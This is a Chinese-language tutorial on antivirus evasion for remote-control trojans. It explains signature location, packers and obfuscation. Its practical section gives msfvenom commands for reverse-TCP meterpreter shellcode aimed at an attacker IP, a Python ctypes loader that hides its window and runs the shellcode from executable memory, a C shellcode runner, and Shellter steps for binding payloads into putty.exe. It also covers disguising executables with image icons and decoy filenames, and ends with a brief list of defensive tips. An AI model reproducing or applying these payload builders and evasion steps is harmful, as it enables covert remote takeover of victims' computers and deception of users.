从后渗透分析应急响应的那些事儿(二):免杀初识篇
字数 2022 2025-08-18 11:38:37
免杀技术初识与实战教学文档
1. 免杀相关基础概念
1.1 木马定义
木马(Trojan)是指通过特定程序控制另一台计算机的恶意软件,包含控制端和被控制端两个可执行程序。特点:
- 不会自我繁殖
- 不主动感染其他文件
- 通过伪装吸引用户下载执行
- 提供远程控制主机的门户
1.2 免杀技术
免杀技术(Anti Anti-Virus)是使病毒木马免于被杀毒软件查杀的技术,涉及:
- 反汇编
- 逆向工程
- 系统漏洞利用
- 修改病毒/木马内容改变特征码
1.3 特征码
特征码是反病毒公司确定的病毒特有二进制字符串,杀毒软件通过比对特征码判断文件是否感染病毒。
1.4 Ring层级
Intel CPU特权级别分为4层:
- Ring0:内核层,操作系统底层
- Ring3:用户层,普通应用程序运行层级
1.5 PE文件
Windows系统中可直接执行的二进制文件结构,包括:
- .exe/.dll/.sys/.ocx等
- 由DOS文件头、DOS加载模块、PE文件头、区段表与区段5部分构成
2. 免杀分类
2.1 按源码分类
- 无源码免杀:通过修改汇编代码/二进制数据完成
- 有源码免杀:可直接修改源代码
2.2 按查杀方式分类
- 静态文件免杀:针对病毒库/云查杀
- 动态行为免杀:针对运行时的行为拦截
2.3 按技术层面分类
- 文件免杀:破坏程序特征(修改特征码/加花指令/加壳)
- 内存免杀:针对内存扫描技术
- 行为免杀:绕过主动防御/云查杀的行为检测
常见行为检测点:
- 添加服务
- 创建驱动
- 释放资源
- 添加注册表
- 增加自启动
- 创建互斥体
- 文件遍历
- 远程线程注入
- HOOK操作
3. 免杀实现方法
3.1 修改特征码
3.1.1 特征码定位工具
- CCL
- MultiCCL
- MYCCL(CCL改进版,支持多重特征码定位)
- VirTest(采用二分排除法)
MYCCL定位原理
通过生成分块样本文件,逐步排除定位复合特征码:
- 生成分块样本文件
- 用杀毒软件查杀
- 二次处理确定被杀文件范围
- 重复直到精确定位特征码
3.1.2 特征码修改方法
常用工具:OD、C32ASM、UE、010Editor等
修改方法:
- 十六进制修改:特征码对应十六进制值±1
- 大小写互换:字符串特征码大小写转换
- 替换法:替换为功能相同的汇编指令
- 顺序调换法:调整指令顺序
- JMP法:将特征码移到零区域后跳回
- 移位法:复制特征码到零区域后跳回
3.2 修改花指令
常用汇编指令:
- 比较:cmp
- 传送:mov
- 空操作:nop
- 调用:call
- 栈操作:pop/push
- 算术运算:ADD/ADC/INC/SUB/SBB/DEC
- 逻辑运算:AND/OR/XOR/NOT/TEST
- 跳转指令:je/jz/jne/jnz/jmp/jb/ja/jg/jge/jl/jle
3.3 加壳技术
壳的分类
-
压缩壳:
- 减小程序体积
- 不修改程序逻辑
- 执行前自动解压
- 示例:UPX
-
加密壳:
- 保护程序不被破解
- 修改源代码(代码乱序、混淆)
- 示例:VMProtect
-
虚拟机保护壳:
- 实现软件CPU
- 使用自定义指令集
- 动态编码解码
代码保护技术
- 代码乱序:分割代码后重新排列,通过跳转连接
- 代码混淆:单条指令扩展为多条等效指令
- 虚拟机保护:使用自定义指令系统
4. 免杀实战案例
4.1 Python远控木马免杀
环境准备
- Kali Linux生成Python反弹shell
- Windows 32位系统
- Python环境及pywin32
- pyinstaller打包工具
生成步骤
-
生成Python反弹shell:
msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.133.130 -e x86/shikata_ga_nai -i 11 -f py -o bk2.py -
修改Python脚本:
from ctypes import * import ctypes # 原始shellcode buf = "\xda\xc4..." # 内存操作代码 VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc VirtualProtect = ctypes.windll.kernel32.VirtualProtect shellcode = bytearray(buf) # 隐藏窗口 whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) # 分配可执行内存 memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 复制shellcode到内存 buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) old = ctypes.c_long(1) VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)), 0x40, ctypes.byref(old)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell), buf, ctypes.c_int(len(shellcode))) # 执行shellcode shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() -
打包为exe:
python PyInstaller.py --console --onefile bk2.py
4.2 C语言远控木马免杀
生成步骤
-
生成C格式shellcode:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' lhost=192.168.133.130 lport=4444 -f c -
C语言模板:
unsigned char buf[] = "shellcode内容"; main() { ((void (*)(void)) &buf)(); } -
使用VC++6.0编译为exe
4.3 捆绑免杀
使用Shellter工具
-
准备合法程序(如putty.exe)
-
运行Shellter选择自动模式(A)
-
选择PE文件路径
-
启用藏匿模式(Y)
-
选择payload类型:
- Meterpreter_Reverse_TCP
- Meterpreter_Reverse_HTTP
- Meterpreter_Reverse_HTTPS
- Meterpreter_Bind_TCP
- Shell_Reverse_TCP
-
设置LHOST和LPORT
-
生成捆绑文件
增强免杀
- 使用UPX加壳
- 双重捆绑
- 资源修改(使用Resource_Hacker修改图标等)
5. 免杀变形技巧
文件伪装
- 使用Resource_Hacker修改exe资源
- 修改图标为jpg等常见文件类型图标
- 配合诱骗性文件名
注意事项
- 避免中文路径
- 测试不同杀毒软件
- 考虑目标系统环境
- 保持程序原有功能
6. 防御建议
检测方法
- 多引擎扫描
- 行为监控
- 内存分析
- 熵值检测(加壳文件)
防护措施
- 保持杀毒软件更新
- 启用行为防护
- 限制脚本执行
- 用户安全意识培训